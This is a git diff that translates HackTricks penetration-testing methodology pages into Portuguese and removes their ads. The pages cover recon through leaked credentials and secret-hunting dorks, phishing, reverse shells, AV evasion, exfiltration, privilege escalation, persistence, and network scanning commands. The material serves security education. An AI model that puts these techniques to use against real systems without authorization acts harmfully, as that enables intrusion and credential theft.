+- API de [**https://minelead.io/**](https://minelead.io/) (versão gratuita)
 
-### **Looking for vulnerabilities**
+### **Procurando vulnerabilidades**
 
-Emails will come handy later to **brute-force web logins and auth services** (such as SSH). Also, they are needed for **phishings**. Moreover, these APIs will give you even more **info about the person** behind the email, which is useful for the phishing campaign.
+Emails serão úteis mais tarde para **forçar logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs fornecerão ainda mais **informações sobre a pessoa** por trás do email, o que é útil para a campanha de phishing.
 
-## Credential Leaks
+## Vazamentos de Credenciais
 
-With the **domains,** **subdomains**, and **emails** you can start looking for credentials leaked in the past belonging to those emails:
+Com os **domínios,** **subdomínios** e **emails**, você pode começar a procurar por credenciais vazadas no passado pertencentes a esses emails:
 
 - [https://leak-lookup.com](https://leak-lookup.com/account/login)
 - [https://www.dehashed.com/](https://www.dehashed.com/)
 
-### **Looking for vulnerabilities**
+### **Procurando vulnerabilidades**
 
-If you find **valid leaked** credentials, this is a very easy win.
+Se você encontrar credenciais **vazadas válidas**, essa é uma vitória muito fácil.
 
-## Secrets Leaks
+## Vazamentos de Segredos
 
-Credential leaks are related to hacks of companies where **sensitive information was leaked and sold**. However, companies might be affected for **other leaks** whose info isn't in those databases:
+Vazamentos de credenciais estão relacionados a hacks de empresas onde **informações sensíveis foram vazadas e vendidas**. No entanto, as empresas podem ser afetadas por **outros vazamentos** cujas informações não estão nessas bases de dados:
 
-### Github Leaks
+### Vazamentos do Github
 
-Credentials and APIs might be leaked in the **public repositories** of the **company** or of the **users** working by that github company.\
-You can use the **tool** [**Leakos**](https://github.com/carlospolop/Leakos) to **download** all the **public repos** of an **organization** and of its **developers** and run [**gitleaks**](https://github.com/zricethezav/gitleaks) over them automatically.
+Credenciais e APIs podem ser vazadas nos **repositórios públicos** da **empresa** ou dos **usuários** que trabalham para essa empresa no github.\
+Você pode usar a **ferramenta** [**Leakos**](https://github.com/carlospolop/Leakos) para **baixar** todos os **repositórios públicos** de uma **organização** e de seus **desenvolvedores** e executar [**gitleaks**](https://github.com/zricethezav/gitleaks) sobre eles automaticamente.
 
-**Leakos** can also be used to run **gitleaks** agains all the **text** provided **URLs passed** to it as sometimes **web pages also contains secrets**.
+**Leakos** também pode ser usado para executar **gitleaks** contra todo o **texto** fornecido **URLs passadas** para ele, pois às vezes **páginas web também contêm segredos**.
 
-#### Github Dorks
+#### Dorks do Github
 
-Check also this **page** for potential **github dorks** you could also search for in the organization you are attacking:
+Verifique também esta **página** para potenciais **dorks do github** que você também poderia procurar na organização que está atacando:
 
 {{#ref}}
 github-leaked-secrets.md
 {{#endref}}
 
-### Pastes Leaks
+### Vazamentos de Pastas
 
-Sometimes attackers or just workers will **publish company content in a paste site**. This might or might not contain **sensitive information**, but it's very interesting to search for it.\
-You can use the tool [**Pastos**](https://github.com/carlospolop/Pastos) to search in more that 80 paste sites at the same time.
+Às vezes, atacantes ou apenas trabalhadores irão **publicar conteúdo da empresa em um site de paste**. Isso pode ou não conter **informações sensíveis**, mas é muito interessante procurar por isso.\
+Você pode usar a ferramenta [**Pastos**](https://github.com/carlospolop/Pastos) para pesquisar em mais de 80 sites de paste ao mesmo tempo.
 
-### Google Dorks
+### Dorks do Google
 
-Old but gold google dorks are always useful to find **exposed information that shouldn't be there**. The only problem is that the [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contains several **thousands** of possible queries that you cannot run manually. So, you can get your favourite 10 ones or you could use a **tool such as** [**Gorks**](https://github.com/carlospolop/Gorks) **to run them all**.
+Dorks do Google antigos, mas valiosos, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de possíveis consultas que você não pode executar manualmente. Então, você pode pegar suas 10 favoritas ou pode usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
 
-_Note that the tools that expect to run all the database using the regular Google browser will never end as google will block you very very soon._
+_Nota que as ferramentas que esperam executar todo o banco de dados usando o navegador Google regular nunca terminarão, pois o Google irá te bloquear muito em breve._
 
-### **Looking for vulnerabilities**
+### **Procurando vulnerabilidades**
 
-If you find **valid leaked** credentials or API tokens, this is a very easy win.
+Se você encontrar credenciais ou tokens de API **vazados válidos**, essa é uma vitória muito fácil.
 
-## Public Code Vulnerabilities
+## Vulnerabilidades de Código Público
 
-If you found that the company has **open-source code** you can **analyse** it and search for **vulnerabilities** on it.
+Se você descobriu que a empresa tem **código de código aberto**, você pode **analisá-lo** e procurar por **vulnerabilidades** nele.
 
-**Depending on the language** there are different **tools** you can use:
+**Dependendo da linguagem**, existem diferentes **ferramentas** que você pode usar:
 
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/code-review-tools.md
 {{#endref}}
 
-There are also free services that allow you to **scan public repositories**, such as:
+Existem também serviços gratuitos que permitem que você **escaneie repositórios públicos**, como:
 
 - [**Snyk**](https://app.snyk.io/)
 
-## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
+## [**Metodologia de Pentesting Web**](../../network-services-pentesting/pentesting-web/)
 
-The **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/).
+A **maioria das vulnerabilidades** encontradas por caçadores de bugs reside dentro de **aplicações web**, então, neste ponto, eu gostaria de falar sobre uma **metodologia de teste de aplicações web**, e você pode [**encontrar essas informações aqui**](../../network-services-pentesting/pentesting-web/).
 
-I also want to do a special mention to the section [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), as, if you shouldn't expect them to find you very sensitive vulnerabilities, they come handy to implement them on **workflows to have some initial web information.**
+Eu também quero fazer uma menção especial à seção [**Ferramentas de Scanners Automáticos de Web de Código Aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, se você não deve esperar que elas encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para ter algumas informações iniciais da web.**
 
-## Recapitulation
+## Recapitulação
 
-> Congratulations! At this point you have already perform **all the basic enumeration**. Yes, it's basic because a lot more enumeration can be done (will see more tricks later).
+> Parabéns! Neste ponto, você já realizou **toda a enumeração básica**. Sim, é básico porque muito mais enumeração pode ser feita (veremos mais truques mais tarde).
 
-So you have already:
+Então você já:
 
-1. Found all the **companies** inside the scope
-2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope)
-3. Found all the **domains** belonging to the companies
-4. Found all the **subdomains** of the domains (any subdomain takeover?)
-5. Found all the **IPs** (from and **not from CDNs**) inside the scope.
-6. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?)
-7. Found all the **potential public cloud assets** belonging to the company.
-8. **Emails**, **credentials leaks**, and **secret leaks** that could give you a **big win very easily**.
-9. **Pentesting all the webs you found**
+1. Encontrou todas as **empresas** dentro do escopo
+2. Encontrou todos os **ativos** pertencentes às empresas (e realizou alguns scans de vulnerabilidades se estiver no escopo)
+3. Encontrou todos os **domínios** pertencentes às empresas
+4. Encontrou todos os **subdomínios** dos domínios (algum takeover de subdomínio?)
+5. Encontrou todos os **IPs** (de e **não de CDNs**) dentro do escopo.
+6. Encontrou todos os **servidores web** e tirou uma **captura de tela** deles (algo estranho que vale uma olhada mais profunda?)
+7. Encontrou todos os **ativos de nuvem pública potenciais** pertencentes à empresa.
+8. **Emails**, **vazamentos de credenciais** e **vazamentos de segredos** que podem te dar uma **grande vitória muito facilmente**.
+9. **Pentesting todas as webs que você encontrou**
 
-## **Full Recon Automatic Tools**
+## **Ferramentas Automáticas de Recon Completo**
 
-There are several tools out there that will perform part of the proposed actions against a given scope.
+Existem várias ferramentas por aí que realizarão parte das ações propostas contra um determinado escopo.
 
 - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
 - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
 - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
-- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated
+- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Um pouco antiga e não atualizada
 
-## **References**
+## **Referências**
 
-- All free courses of [**@Jhaddix**](https://twitter.com/Jhaddix) like [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
-
-

-
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
+- Todos os cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**A Metodologia do Caçador de Bugs v4.0 - Edição Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md
index 53e1f35e6..3fee6951b 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md
@@ -2,18 +2,15 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-\
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
 
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
-Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits.
+Agora que construímos a lista de ativos do nosso escopo, é hora de procurar algumas frutas baixas de OSINT.
 
-### Platforms that already searched for leaks
+### Plataformas que já pesquisaram por leaks
 
 - [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/)
 
-### Api keys leaks in github
+### Vazamentos de chaves de API no github
 
 - [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog)
 - [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks)
@@ -28,7 +25,6 @@ Now that we have built the list of assets of our scope it's time to search for s
 - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker)
 
 ### **Dorks**
-
 ```bash
 ".mlab.com password"
 "access_key"
@@ -310,5 +306,4 @@ GCP SECRET
 AWS SECRET
 "private" extension:pgp
 ```
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md
index 55186e1f3..84ea5cb64 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md
@@ -2,17 +2,17 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-The goal of this page is to enumerate **platforms that allow to search for code** (literal or regex) in across thousands/millions of repos in one or more platforms.
+O objetivo desta página é enumerar **plataformas que permitem buscar por código** (literal ou regex) em milhares/milhões de repositórios em uma ou mais plataformas.
 
-This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns.
+Isso ajuda em várias ocasiões a **procurar por informações vazadas** ou por padrões de **vulnerabilidades**.
 
-- [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes.
-- [**Github Search**](https://github.com/search): Search across Github. It supports regexes.
-  - Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/).
-- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Search across Gitlab projects. Support regexes.
-- [**SearchCode**](https://searchcode.com/): Search code in millions of projects.
+- [**SourceGraph**](https://sourcegraph.com/search): Pesquisar em milhões de repositórios. Há uma versão gratuita e uma versão empresarial (com 15 dias gratuitos). Suporta regexes.
+- [**Github Search**](https://github.com/search): Pesquisar no Github. Suporta regexes.
+- Talvez também seja útil verificar [**Github Code Search**](https://cs.github.com/).
+- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Pesquisar em projetos do Gitlab. Suporta regexes.
+- [**SearchCode**](https://searchcode.com/): Pesquisar código em milhões de projetos.
 
 > [!WARNING]
-> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
+> Quando você procura por vazamentos em um repositório e executa algo como `git log -p`, não se esqueça de que pode haver **outras branches com outros commits** contendo segredos!
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md
index ea6b7f6a7..ac6c92d36 100644
--- a/src/generic-methodologies-and-resources/pentesting-methodology.md
+++ b/src/generic-methodologies-and-resources/pentesting-methodology.md
@@ -1,146 +1,134 @@
-# Pentesting Methodology
+# Metodologia de Pentesting
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
-
-## Pentesting Methodology
+## Metodologia de Pentesting
 
 

 
-_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
+_Logos do Hacktricks projetados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
 
-### 0- Physical Attacks
+### 0- Ataques Físicos
 
-Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) and others about [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md).
+Você tem **acesso físico** à máquina que deseja atacar? Você deve ler alguns [**truques sobre ataques físicos**](../hardware-physical-access/physical-attacks.md) e outros sobre [**escapando de aplicações GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
 
-### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/)
+### 1 - [Descobrindo hosts dentro da rede](pentesting-network/#discovering-hosts)/ [Descobrindo Ativos da empresa](external-recon-methodology/)
 
-**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test).
+**Dependendo** se o **teste** que você está realizando é um **teste interno ou externo**, você pode estar interessado em encontrar **hosts dentro da rede da empresa** (teste interno) ou **encontrar ativos da empresa na internet** (teste externo).
 
 > [!NOTE]
-> Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide.
+> Note que se você estiver realizando um teste externo, uma vez que conseguir obter acesso à rede interna da empresa, você deve reiniciar este guia.
 
-### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)**
+### **2-** [**Divertindo-se com a rede**](pentesting-network/) **(Interno)**
 
-**This section only applies if you are performing an internal test.**\
-Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing).
+**Esta seção se aplica apenas se você estiver realizando um teste interno.**\
+Antes de atacar um host, talvez você prefira **roubar algumas credenciais** **da rede** ou **snifar** alguns **dados** para aprender **passivamente/ativamente (MitM)** o que você pode encontrar dentro da rede. Você pode ler [**Pentesting Network**](pentesting-network/#sniffing).
 
-### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts)
+### 3- [Escaneamento de Portas - Descoberta de serviços](pentesting-network/#scanning-hosts)
 
-The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts).
+A primeira coisa a fazer ao **procurar vulnerabilidades em um host** é saber quais **serviços estão em execução** em quais portas. Vamos ver as [**ferramentas básicas para escanear portas de hosts**](pentesting-network/#scanning-hosts).
 
-### **4-** [Searching service version exploits](../generic-hacking/search-exploits.md)
+### **4-** [Procurando exploits de versão de serviço](../generic-hacking/search-exploits.md)
 
-Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell...
+Uma vez que você saiba quais serviços estão em execução, e talvez suas versões, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e haja um exploit para lhe dar um shell...
 
-### **5-** Pentesting Services
+### **5-** Serviços de Pentesting
 
-If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.**
+Se não houver nenhum exploit interessante para qualquer serviço em execução, você deve procurar por **configurações incorretas comuns em cada serviço em execução.**
 
-**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports).
+**Dentro deste livro você encontrará um guia para pentestar os serviços mais comuns** (e outros que não são tão comuns)**. Por favor, procure no índice à esquerda a seção _**PENTESTING**_ **(os serviços estão ordenados por suas portas padrão).**
 
-**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\
-Also, a small guide on how to[ **find known vulnerabilities in software**](../generic-hacking/search-exploits.md) can be found here.
+**Quero fazer uma menção especial à parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(pois é a mais extensa).**\
+Além disso, um pequeno guia sobre como [**encontrar vulnerabilidades conhecidas em software**](../generic-hacking/search-exploits.md) pode ser encontrado aqui.
 
-**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any).
+**Se o seu serviço não estiver no índice, procure no Google** por outros tutoriais e **me avise se você quiser que eu adicione.** Se você **não conseguir encontrar nada** no Google, realize seu **próprio pentesting cego**, você pode começar por **conectar-se ao serviço, fuzzing e lendo as respostas** (se houver).
 
-#### 5.1 Automatic Tools
+#### 5.1 Ferramentas Automáticas
 
-There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.**
+Existem também várias ferramentas que podem realizar **avaliações automáticas de vulnerabilidades**. **Eu recomendaria que você tentasse** [**Legion**](https://github.com/carlospolop/legion)**, que é a ferramenta que eu criei e é baseada nas notas sobre pentesting de serviços que você pode encontrar neste livro.**
 
-#### **5.2 Brute-Forcing services**
+#### **5.2 Força Bruta em serviços**
 
-In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](../generic-hacking/brute-force.md)**.**
+Em alguns cenários, uma **Força Bruta** pode ser útil para **comprometer** um **serviço**. [**Encontre aqui uma CheatSheet de diferentes serviços de força bruta**](../generic-hacking/brute-force.md)**.**
 
 ### 6- [Phishing](phishing-methodology/)
 
-If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/):
+Se neste ponto você não encontrou nenhuma vulnerabilidade interessante, você **pode precisar tentar algum phishing** para entrar na rede. Você pode ler minha metodologia de phishing [aqui](phishing-methodology/):
 
-### **7-** [**Getting Shell**](../generic-hacking/reverse-shells/)
+### **7-** [**Obtendo Shell**](../generic-hacking/reverse-shells/)
 
-Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](../generic-hacking/reverse-shells/).
+De alguma forma, você deve ter encontrado **alguma maneira de executar código** na vítima. Então, [uma lista de possíveis ferramentas dentro do sistema que você pode usar para obter um reverse shell seria muito útil](../generic-hacking/reverse-shells/).
 
-Specially in Windows you could need some help to **avoid antiviruses**: [**Check this page**](../windows-hardening/av-bypass.md)**.**\\
+Especialmente no Windows, você pode precisar de ajuda para **evitar antivírus**: [**Verifique esta página**](../windows-hardening/av-bypass.md)**.**\\
 
-### 8- Inside
+### 8- Dentro
 
-If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters:
+Se você tiver problemas com o shell, pode encontrar aqui uma pequena **compilação dos comandos mais úteis** para pentesters:
 
 - [**Linux**](../linux-hardening/useful-linux-commands.md)
 - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
 - [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
 
-### **9 -** [**Exfiltration**](../generic-hacking/exfiltration.md)
+### **9 -** [**Exfiltração**](../generic-hacking/exfiltration.md)
 
-You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](../generic-hacking/exfiltration.md)**.**
+Você provavelmente precisará **extrair alguns dados da vítima** ou até mesmo **introduzir algo** (como scripts de escalonamento de privilégios). **Aqui você tem um** [**post sobre ferramentas comuns que você pode usar com esses propósitos**](../generic-hacking/exfiltration.md)**.**
 
-### **10- Privilege Escalation**
+### **10- Escalonamento de Privilégios**
 
-#### **10.1- Local Privesc**
+#### **10.1- Privesc Local**
 
-If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\
-Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
-You should also check this pages about how does **Windows work**:
+Se você **não for root/Administrador** dentro da máquina, você deve encontrar uma maneira de **escalar privilégios.**\
+Aqui você pode encontrar um **guia para escalar privilégios localmente em** [**Linux**](../linux-hardening/privilege-escalation/) **e em** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
+Você também deve verificar estas páginas sobre como **Windows funciona**:
 
-- [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
-- How does [**NTLM works**](../windows-hardening/ntlm/)
-- How to [**steal credentials**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
-- Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
+- [**Autenticação, Credenciais, Privilégios de Token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
+- Como [**NTLM funciona**](../windows-hardening/ntlm/)
+- Como [**roubar credenciais**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) no Windows
+- Alguns truques sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
 
-**Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
+**Não se esqueça de conferir as melhores ferramentas para enumerar caminhos de Escalonamento de Privilégios locais no Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
 
-#### **10.2- Domain Privesc**
+#### **10.2- Privesc de Domínio**
 
-Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment.
+Aqui você pode encontrar uma [**metodologia explicando as ações mais comuns para enumerar, escalar privilégios e persistir em um Active Directory**](../windows-hardening/active-directory-methodology/). Mesmo que esta seja apenas uma subseção de uma seção, esse processo pode ser **extremamente delicado** em uma atribuição de Pentesting/Red Team.
 
 ### 11 - POST
 
-#### **11**.1 - Looting
+#### **11**.1 - Saque
 
-Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\
-Find here different ways to [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
+Verifique se você pode encontrar mais **senhas** dentro do host ou se você tem **acesso a outras máquinas** com os **privilégios** do seu **usuário**.\
+Encontre aqui diferentes maneiras de [**extrair senhas no Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
 
-#### 11.2 - Persistence
+#### 11.2 - Persistência
 
-**Use 2 or 3 different types of persistence mechanism so you won't need to exploit the system again.**\
-**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
+**Use 2 ou 3 tipos diferentes de mecanismos de persistência para que você não precise explorar o sistema novamente.**\
+**Aqui você pode encontrar alguns** [**truques de persistência no Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
 
-TODO: Complete persistence Post in Windows & Linux
+TODO: Completar persistência Post em Windows & Linux
 
 ### 12 - Pivoting
 
-With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\
-In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](../generic-hacking/tunneling-and-port-forwarding.md).\
-You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\
-Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments..
+Com as **credenciais coletadas**, você pode ter acesso a outras máquinas, ou talvez precise **descobrir e escanear novos hosts** (iniciar a Metodologia de Pentesting novamente) dentro de novas redes onde sua vítima está conectada.\
+Nesse caso, o tunelamento pode ser necessário. Aqui você pode encontrar [**um post falando sobre tunelamento**](../generic-hacking/tunneling-and-port-forwarding.md).\
+Você definitivamente também deve verificar o post sobre [Metodologia de pentesting do Active Directory](../windows-hardening/active-directory-methodology/). Lá você encontrará truques legais para se mover lateralmente, escalar privilégios e extrair credenciais.\
+Verifique também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode ser muito útil para pivotar em ambientes Windows.
 
-### MORE
+### MAIS
 
-#### [Android Applications](../mobile-pentesting/android-app-pentesting/)
+#### [Aplicações Android](../mobile-pentesting/android-app-pentesting/)
 
-#### **Exploiting**
+#### **Exploração**
 
-- [**Basic Linux Exploiting**](broken-reference/)
-- [**Basic Windows Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [**Basic exploiting tools**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
+- [**Exploração Básica em Linux**](broken-reference/)
+- [**Exploração Básica em Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
+- [**Ferramentas básicas de exploração**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
 
-#### [**Basic Python**](python/)
+#### [**Python Básico**](python/)
 
-#### **Crypto tricks**
+#### **Truques de Criptografia**
 
 - [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
 - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
 - [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
 
-

-
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md
index 1f4bb741f..1bd3d7f00 100644
--- a/src/generic-methodologies-and-resources/pentesting-network/README.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/README.md
@@ -2,83 +2,69 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-\
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
 
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
-## Discovering hosts from the outside
+## Descobrindo hosts do lado de fora
 
-This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\
-In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**.
+Esta será uma **seção breve** sobre como encontrar **IPs respondendo** da **Internet**.\
+Nesta situação, você tem algum **escopo de IPs** (talvez até vários **intervalos**) e você só precisa descobrir **quais IPs estão respondendo**.
 
 ### ICMP
 
-This is the **easiest** and **fastest** way to discover if a host is up or not.\
-You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\
-You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response).
-
+Esta é a maneira **mais fácil** e **rápida** de descobrir se um host está ativo ou não.\
+Você pode tentar enviar alguns pacotes **ICMP** e **esperar respostas**. A maneira mais fácil é apenas enviar um **echo request** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\
+Você também pode usar **nmap** para enviar outros tipos de pacotes ICMP (isso evitará filtros para solicitações-respostas ICMP echo comuns).
 ```bash
 ping -c 1 199.66.11.4    # 1 echo request to a host
 fping -g 199.66.11.0/24  # Send echo requests to ranges
 nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
 ```
+### Descoberta de Portas TCP
 
-### TCP Port Discovery
-
-It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\
-Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:**
-
+É muito comum encontrar que todos os tipos de pacotes ICMP estão sendo filtrados. Então, tudo o que você pode fazer para verificar se um host está ativo é **tentar encontrar portas abertas**. Cada host tem **65535 portas**, então, se você tiver um escopo "grande", você **não pode** testar se **cada porta** de cada host está aberta ou não, isso levará muito tempo.\
+Então, o que você precisa é de um **scanner de portas rápido** ([masscan](https://github.com/robertdavidgraham/masscan)) e uma lista das **portas mais utilizadas:**
 ```bash
 #Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
